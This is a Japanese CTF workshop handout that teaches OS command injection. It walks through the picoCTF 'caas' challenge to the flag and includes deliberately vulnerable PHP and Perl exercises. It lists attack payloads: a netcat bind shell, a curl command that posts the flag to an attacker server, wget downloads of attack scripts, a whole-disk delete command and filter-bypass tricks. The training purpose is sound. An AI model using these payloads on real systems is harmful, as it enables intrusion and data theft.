2024 CTF講習会 Web編
===
[TOC]
## この講習会について
この講習会では、セキュリティ技術を競うコンテストの総称であるCTFのWeb部門のうち、OSコマンドインジェクションと呼ばれる分野について解説します。
CTFにおけるWeb部門の問題のほとんどは実在のサービスに見立てたWebサービスに対し攻撃を行い、「フラグ」と呼ばれる機密情報に見立てた文字列を奪取することを目的としています。
近年、Webサービスのセキュリティはますます重要になってきています。Webのセキュリティについての知識は、CTFプレイヤーだけでなく全てのWebエンジニアに不可欠な知識と言えるでしょう。
この講習会では、Webにおける攻撃手法の一つであるOSコマンドインジェクションを題材に、Web部門の問題を解く流れを把握することを目標にしています。想定している受講者はCTF初心者です。
## CTFにおけるWeb問題の概要
CTFにおけるWeb問題は、フラグの場所によってバックエンド側の問題・フロントエンド側の問題の2つに大別することが出来ます。それぞれについて、典型的なフラグの場所と攻撃手法を見てみましょう。
### フラグがサーバー側にある問題
#### フラグがある場所の例
- データベースサーバー
- 環境変数
- アプリケーションサーバーのストレージ
- アプリケーションの変数
#### 攻撃手法の例
- OSコマンドインジェクション
- SQLインジェクション
- パストラバーサル
- SSTI(Server Side Template Injection)
- SSRF(Server Side Request Forgery)
- XXE(XML External Entity)
### フラグがクライアント側にある問題
#### フラグがある場所の例
- リクエストヘッダー
- ユーザーエージェント文字列
- Cookie
- クライアントのローカルストレージ
- フォームの入力内容
#### 攻撃手法の例
- XSS
- JavaScriptコードのinjectionのこと
- 名前の付いた攻撃類型がたくさんある
- Reflected XSS
- Stored XSS
- DOM XSS
- CSS injection
- PRSSI
今回の講習会では、**OSコマンドインジェクション**を題材に具体的な手法を示すことで、Web分野の攻撃のイメージを持ってもらうことを目標にしています。
## 倫理
大いなる力には大いなる責任が伴います。
特にWeb部門の知識は、他の部門と比べてもそのまま実社会のサービスに対する攻撃に転用可能なものが多いです。この講習で扱う攻撃手法により攻撃できるWebサービスは地球上にごまんとあります。しかし、当然のことながらこれから扱う攻撃手法を実社会のサービスに対して行うことは犯罪にあたります。
Web部門の知識を学ぶときには、まずこのことを念頭に置いて学習を進めてください。
:::danger
バグバウンティ制度を設けているサービスも存在しますが、バグバウンティ制度は免罪符にはなりません。制度で許可されている範囲を超える範囲の攻撃はしてはなりませんし、制度の規約の範囲内であっても倫理的にまずい攻撃を行ってはなりません。
:::
# OSコマンドインジェクション
## OSコマンドインジェクションとは?
:::info
#### 「OSコマンドインジェクション」という言葉の意味
OSコマンド: OS(Linux,Windowsなど)のコマンド
インジェクション: 注入(inject+tion)
:::
OSコマンドインジェクション攻撃は、アプリケーションに対するリクエストにOSコマンドを注入(injection)することで、OSコマンドをそのまま実行させ、これによりWebサーバーに対して不正な動作をさせる攻撃です。
### OSコマンドとは?
OS(Linux,Windowsなど)に対する指示文です。CUI環境では、基本的にOSコマンドを使用してコンピューターを操作します。
例えばUnix環境では、次のようなOSコマンドが使えます。
#### cat
複数のファイルの内容を全部連結(con**cat**enate)して表示します。
実は単一ファイルを指定してその内容を表示するだけ、という使い方が最も一般的です。
#### ls
指定されたディレクトリのファイルの一覧を表示します。
指定しなかった場合は現在自分がいるディレクトリのファイルの一覧を表示します。
:::info
#### lsコマンドのよく使うオプション
| オプション | 意味 |
| ---------- | ---------------------------------------------------------- |
| -a | 隠しファイルも表示 |
| -l | 詳細な情報を表示 |
| -h | -lと同時に指定するとファイルサイズが読みやすい形式になる |
| -F | ファイルの種別をファイル名のあとにつけて明示する |
たとえば`ls / -alhF`を実行するとルートディレクトリ(`/`)のファイルの一覧が、「隠しファイルを含めて」「詳細情報を含めて」「読みやすいファイルサイズを含めて」「ファイルの種別をファイル名の後につけて」表示されます。
:::
#### セミコロン
コマンドではないのですが、ここで紹介します。セミコロンはコマンドの区切りを表し、前のコマンドの実行が終了した後に後のコマンドが実行することが出来ます。
例えば、`cat a.txt;ls /`を実行すると`a.txt`を表示した後に`/`のファイル一覧が表示されます。
### インジェクションって何?
注入することです。OSコマンドインジェクションは、本来のコマンドに、別のコマンドを注入します。
例えば、指定されたファイルを開くためにコマンドとして「`cat `の後にユーザーが指定したファイル名を連結したコマンド」を実行するサービスを考えます。例えばユーザーが`hoge.txt`を指定したら`cat hoge.txt`を実行するサービスです。
では、ファイル名として`hoge.txt;ls /`が指定された場合を考えてみましょう。`cat hoge.txt;ls /`が実行されます。これは「`hoge.txt`を表示した後で`/`以下のファイル一覧を表示する」という意味になります。
`ls /`だったら大して困らないかもしれませんが、コンピューターの全てのファイルを削除するコマンド`rm -rf / --no-preserve-root`が実行されたらどうなってしまうでしょうか?
<iframe src="https://q.trap.jp/widget/?type=message&id=0cd39714-5e9f-4bf3-a218-440fe168af3a" scrolling="no" frameborder="no" width="600"></iframe>
[TODO]許可を取る
## OSコマンドインジェクションの流れ
全てのCTFの問題に共通する流れに沿って、OSコマンドインジェクションの具体的な手法について解説します。
## 問題を理解する
Web問題の多くの問題は、攻撃対象のサーバーについての情報と同時にファイルが配られる問題が多いです。問題文に直接添付されていなくても、問題ファイルへの自明なアクセス方法が存在したり、自明な攻撃によりエラーが発生すると自身のソースコードを返す問題もあります(問題文がなく、0から推測することを要求する問題も無いわけではないです)。
:::warning
簡単な問題はよくある攻撃クエリ(`;ls`や`' OR 1=1;--`など)で解くことが出来てしまう場合も多いですが、(初心者のうちは特に)闇雲によくあるパターンを試すのではなく、配布ファイルをよく読んで把握してから攻撃するのがオススメです。
:::
ユーザーがリクエストを飛ばしてからレスポンスが返るまでのコードの流れを順番に追っていくのが基本的な読み方です...が、脆弱性がデータを初期化する部分などにあることもあるので、結局全部読むことになりがちです。悲しいですね。
## 脆弱性を発見する
Web問題は様々な言語で実装されます。Go、Python、Ruby、PHP、Perl、(Node.)js、Java、C#などが多いですが、これらに限定されません。
:::info
CTFで扱う分にはなんとなく読めればそれでいい...と思いきや、普通にその言語特有の知識が要求される問題もあります。都度ググったり地道に学んでいくしかありません。Webはそういう分野です。諦めましょう。
:::
OSコマンドインジェクションは、最初から何かしらのコマンドを実行しているところに不正なコードを入れこんで攻撃します。すなわち、そもそもコマンドを実行していない問題に対してOSコマンドインジェクションが効くことはまずありません。OSコマンドインジェクションが出来る、と気付くためには、まずは何らかのコマンドを実行していると気付く必要があるわけです。
各言語における、OSコマンドの実行に用いられる関数はおおよそ次の通りです:
| 言語 | OSコマンドを呼び出すことができる代表的な関数・メソッド |
|:------- |:------------------------------------------------------------------------ |
| Java | Runtime.getRuntime(...).exec(), ProcessBuilder() |
| PHP | exec(), system(), passthru(), shell_exec(), pcntl_exec(), popen(), proc_open(), backtick演算子|
| Ruby | exec(), system(), IO.popen(), backtick演算子,open(), バッククォート |
| Python | subprocess.call(), os.system() |
| Node.js | child_process.exec(), child_process.spawn() |
| Go | exec.Command().Run() |
| Scala | Process() |
| Perl | exec(), open(), system(), eval(), qx, バッククォート |
:::warning
特に、PerlやRubyのopen()関数は外部プログラムの呼び出しではなく単なるファイルの読み出しに使われる関数なので注意が必要です。
:::
また、コマンドのインジェクションに使える記号はいくつかあります。UNIX環境で使える記号を一通り紹介します。
| 記号 | 意味 |
| ----------- | ---------------------------------------------- |
| `a;b` | aを実行し、bを実行する |
| `a|b` | aを実行し、その結果を標準入力としてbを実行する |
| `a&b` | aをバックグラウンド実行し、同時にbを実行する |
| `a&&b` | aを実行し、正常終了したらbを実行する |
| `a||b` | aを実行し、異常終了したらbを実行する |
| `` a `b` `` | bの実行結果をaの引数として与える |
| ` a $(b)` | ↑と同じ(bash限定) |
## 脆弱性で出来ることを見つける
何かしらのコマンドを実行している場合、そこにはOSコマンドインジェクションの余地が存在する可能性があります。しかし、ユーザーの入力をそのまま実行するだけ、という問題はほとんどありません。OSコマンドとして不正なコマンドが実行されないようにエスケープがなされていたり、文字数・文字種に制限がある場合もあります。
今何が出来て何が出来ないのかを把握することは非常に重要です。必要ならば、上記の問題を解決する追加の脆弱性を探す必要がある場合もあるでしょう。よくある制約とその回避方法は後ほど説明します。
## 実際にフラグを得る
上述のようなテクニックを組み合わせ、実際にコマンドが実行できる状態(シェルを奪った状態)になればあとはフラグを取得するだけです。
コマンドが実行出来る状態になった後のあれやこれやは大抵の問題では非本質的です(ここからバイナリの問題が始まることも無いわけではないのですが)。基本的には問題文(大抵は、コード)にフラグの所在は書かれています。
そうでない場合、次のような場所を探してみましょう。
- 問題ファイル自身
- カレントディレクトリ・アプリのディレクトリ
- ルート直下
- /etc/passwd
- /home
- /var/log
- 環境変数(`env`コマンドで見られる)
それでも見つからなかった場合、`find`コマンドで検索したり直感に頼ったりする必要がある場合もあります。たまに高度な推測を要求する問題も存在し、このような問題は「Guess問」と呼ばれ非難されています。
:::info
#### findコマンドの使い方
基本的な使い方は`find 検索範囲 -name ファイル名`です。
(例:`find . -name *flag*`)
- Permission deniedが無限に出たりするので、`2> /dev/null`などを後ろにつけると良いです。
- `-name`のかわりに`-iname`を使うと大文字小文字を区別しなくなります。
- `-type f`を指定するとファイルのみを、`-type d`を指定するとディレクトリのみを検索します。
- `-exec コマンド {} +`を実行すると見つかった各ファイルに対してファイル名を引数としてコマンドが実行されます。
他にも多くのオプションがあるのですが、長くなるので割愛します。興味がある人は調べてみて下さい。
:::
## やってみよう
### 必要なツール
CTFは大量のツールを使う競技です。僕も環境構築やツールの使い方を覚えることにかなり苦労しました。
が、WebはCTFの中でも比較的扱うツールの少ない分野です。OSコマンドインジェクションに限って言えば、おおよそ次のツールがあれば十分でしょう:
- Webブラウザ
- テキストエディタ
- Postman
- Burp Suite
- Docker
- 各言語の実行環境
なお、今回の講習会で扱う問題ではWebブラウザ・テキストエディタ以外のツールは要求しません。
### 今回扱う問題
今回の講習会では、[caas](https://play.picoctf.org/practice?category=1&page=1&search=caas)というpicoCTFの問題です。
:::info
picoCTFは初心者向けの常設CTFです。
:::
### 問題を理解する
まずは問題文を読みましょう。
```
Now presenting cowsay as a service
```
よく分かりませんね。サイトにアクセスしてみましょう。
```
Cowsay as a Service
Make a request to the following URL to cowsay your message:
https://caas.mars.picoctf.net/cowsay/{message}
```
https://caas.mars.picoctf.net/cowsay/{message} にアクセスすればいいらしいです。
```
___________
< {message} >
-----------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
```
牛がなんか喋りましたね。これ以上の機能はなさそうです。
どういうサービスかは理解できたので、とりあえずコードを読んでみましょう。
```
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
```
JavaScriptで書かれていますね。
```
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
```
僕はExpressはもちろんNode.jsについても詳しくありませんが、いわゆる「おまじない」が書かれていそうですね。
:::info
requireはC++で言うところのinclude、Go・Pythonで言うところのimportです。
:::
`const { exec } = require('child_process');`だけはちょっと怪しいですね。この資料の上の方でOSコマンドを呼び出すことができる関数として紹介されている`child_process.exec()`を実行しようとしているように見えます。
```
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
```
アプリ本体です。`GET /cowsay/:message`のリクエストに対し、execした結果を返しています。
child_process.exec()のドキュメントを読めばこのコードが何をやっているかがわかりますが、わざわざドキュメントを読まなくても
- `/usr/games/cowsay`の引数としてパスパラメータのmessageを与えている
- テキストとして結果を返している
- 5秒でタイムアウトする
- エラーが空文字列でなかった場合500エラーが返る
と分かる人は多いと思います。
:::info
JavaScriptの文字列は空文字列以外全部Truthy(bool型にするとtrueになる)なので、if (error)は「もしerrorが空文字列でなかったら」という意味になります。
:::
```
app.listen(3000, () => {
console.log('listening');
});
```
これもおまじないに見えます。80番ポートではなく3000番ポートで待機しているのは少し気になりますが、きっとリバースプロキシが挟まれているんでしょう。
### 脆弱性を発見する
`` `/usr/games/cowsay ${req.params.message}` ``にコードをインジェクションすれば良いわけです。
:::info
`` `/usr/games/cowsay ${req.params.message}` ``は`"/usr/games/cowsay " + req.params.message`とだいたい同じ意味です。
:::
`/usr/games/cowsay`を適当な場所で打ち切って、コマンドを実行したいです。
`req.params.message`に`うっしっし;任意のコマンド`が入っていれば`/usr/games/cowsay うっしっし;任意のコマンド`が実行されそうです。
### 脆弱性で出来ることを見つける
- 5秒でタイムアウトする
- エラーが空文字列でなければならない
という制限がついてはいるものの、任意のコマンドが実行できそうです。
試しに https://caas.mars.picoctf.net/cowsay/%E3%81%86%E3%81%A3%E3%81%97%E3%81%A3%E3%81%97;echo%20%E3%81%86%E3%81%A3%E3%81%97%E3%81%A3%E3%81%97 にアクセスしてみると、`/usr/games/cowsay うっしっし;echo うっしっし`が実行されます。
:::info
echoは引数をそのまま返すコマンドです。
:::
### 実際にフラグを得る
問題ファイル自身にフラグは書かれていないので、とりあえずカレントディレクトリを見ます。`ls`を実行したいので、https://caas.mars.picoctf.net/cowsay/%E3%81%86%E3%81%A3%E3%81%97%E3%81%A3%E3%81%97;ls にアクセスすると次のような結果が返ってきます。
```
__
< うっしっし >
--
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
```
falg.txtといういかにもなファイルがあるので、これを開きます。`cat falg.txt`を実行するために https://caas.mars.picoctf.net/cowsay/%E3%81%86%E3%81%A3%E3%81%97%E3%81%A3%E3%81%97;cat%20falg.txt にアクセスするとflagが取れました。
```
__
< うっしっし >
--
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
```
## よくある制約とその回避方法
CTFでは攻撃可能な箇所に何らかの制約が付くことは多いです。OSコマンドインジェクションの問題でよく問題になる制約とその対処方法を説明します。
### コマンドは実行できるが、その結果が見られない
OSコマンドが実行できる場合でも、つねにその実行結果がユーザーに返されるとは限りません。
このような状況下では、まず第一にインジェクションに成功しているかどうかを判別する必要があります。これは比較的簡単で、`sleep`コマンドをインジェクションすることで達成できます。(`sleep 2`は実行に2秒かかるコマンドです)
このような状況下において、実際にフラグを得るために取ることの出来る手段には次のようなものがあります。
#### バックドアの作成
:::info
バックドアは「裏口」という意味です。本来のサービス以外から(不正な)外部通信をするために設置するのでこう呼ばれます。
:::
`nc -l -n 1234 -e /bin/sh`を実行すると1234ポートにtelnetするだけでシェルが使い放題になります。嬉しいですね。任意のポート番号が使える状態でないと使えないテクニックですが、かなり有効です。
:::info
#### ncコマンドについて
ncコマンドはTCP・UDPでネットワーク越しにデータを送受信できるコマンドです(これを使うと人間が使い方を覚えてさえいればHTTPの通信もSMTPの通信も思いのままです)
オプションの意味は以下のとおりです。
`-l`リッスンモードにする。相手からの通信を待ち受けることができる。
`-n`IPアドレス・ポート番号の名前解決を行わない。
`1234`ポート番号を指定する。
`-e /bin/sh`接続されたあと、/bin/shとやりとりさせる
:::
#### 外部への送信
アプリそのものの出力に頼るのではなく、外部に情報を送信させるのは最も有力な手段の一つです。
例えば、攻撃者のWebサーバにFLAGをPOSTするなどの手法がこれに当たります。(例:`cat /flag | curl [url] -X POST -d @-`)
#### time based攻撃
最終手段です。`sleep`による遅延を発生させることができる場合、「もしフラグの1文字目がaならば`sleep 2`を実行」「もしフラグの1文字目がbならば`sleep 2`を実行」...といったように各文字について総当たりでリクエストを飛ばすことにより、`sleep`されるかされないかの情報を元にフラグを得ることが出来ます(実際の攻撃では、時間短縮のために良い感じに二分探索するコードを書くことが多いでしょう)。
### 特殊な記号や文字列を含むコマンドが実行できない
インジェクション可能な場所に何らかのバリデーションやエスケープが効いている場合もあります。CTFの問題にそのような制約がある場合、実は回避可能である場合と、そうでない場合があります。
:::info
そうでない場合というのは、そこ以外に何らかの脆弱性があるということです。頑張って他の脆弱性を探しましょう。
:::
#### 他の記号で代用する
1. セミコロン
複数のコマンドを実行できるのは`;`に限りません。`&`とか`|`とかも使えますし、状況によっては`` `hoge` ``とか`\n`とかも使えます。
2. 空白文字
空白文字もたまに使えないことがあります。`${IFS}`で代用するのが楽ですが、`{cd,..}`で`cd ..`が実行されるテクもよく使われます。
:::info
`${なんか}`はシェルの変数です。`${IFS}`はシェルにおいて、区切り文字が入っている変数です。
:::
#### 先にバックドアを作ったり、外部から攻撃スクリプトをダウンロードさせたりする
バックドアは上述の通りです。任意のポート番号が使えない場合は外部からwgetコマンドなどで攻撃スクリプトをダウンロードすることを考える必要があります。
#### エスケープそのものを回避する
エスケープそのものを回避することが出来るパターンもあります。例えば、クライアント側でしか上記のようなバリデーションが実行されていない場合、ブラウザを使わずにPostmanなどで直接アクセスすれば良いです。
#### ワイルドカード
flagという文字列がブロックされる場合でも、シェルのワイルドカード機能を用いて`cat f?ag.txt`って指定しても`flag.txt`が見られます。ファイル名が分からない場合は`cat *`などと雑に指定してしまうのも手です。
:::info
?は任意の1文字に、\*は0文字以上に、[abc]はa,b,cのいずれかの文字に、[!0-9]は数字以外の文字にマッチします。
:::
#### base64でエンコードする
base64にエンコードして送信すると、文字種が限定できます。
### 長さがN文字以内のコマンドしか実行できない
バックドアの作成のほか、攻撃用スクリプトを攻撃者のWebサーバーからダウンロードさせ、それを実行するなどの手法で回避できます。
ネットワーク接続が制限されている場合、分割して複数のリクエストに分けて送信し、最後にまとめて実行する、などの手法も取れます。
:::info
過去のCPCTFでは上記のようなテクニックが一切使えず単純にコードゴルフをすることを要求する問題が出たそうです。怖いですね。
:::
### 権限が足りない
sudoやcronを確認したり、都合の良い権限で動いているプロセス/動く実行ファイルを探したりしてみましょう。
実はバイナリとの融合問題だった、みたいな場合もあります...
### そのほか
出力文字数が制限されている場合や、先にデータベースに攻撃コードを蓄積させておく必要がある場合など様々な制約がつくことがあります。ググりフォースとひらめき力でなんとかしましょう。
## 演習
https://pearl.ramdos.net/
問題ファイル: https://drive.google.com/drive/folders/1Mfq8kNzR5gIE72-dHDI32D4_ZIFwcknC?usp=sharing
:::spoiler ヒント
perlのopen関数は少し特殊なふるまいをします。`perl open`などで検索してみましょう。
:::
## 演習(おまけ①)
上の演習問題を、バックドアを作ったり、外部に送信したり、あるいはtime basedな攻撃をしたりして、ブラインドの条件下で攻撃してみましょう。
## 演習(おまけ②:ボツ問題)
https://ctf-escape.trap.show/index.php
```
<html>
<head></head>
<body><pre>
<form method="get" action="index.php">
<input type="text" name="key">
<input type="submit" value="検索する">
</form>
<?php
//flag=flag{dummy_dummy}
$key = @$_GET['key'];
if(1 <=strlen($key)) {
$out = shell_exec('grep --no-filename "' . escapeshellcmd($key) . '" list.txt');
echo htmlspecialchars($out, ENT_COMPAT, 'UTF-8');
}else{
echo "検索キーワードは1文字以上で入力してください。";
}
?>
</pre></body>
</html>
```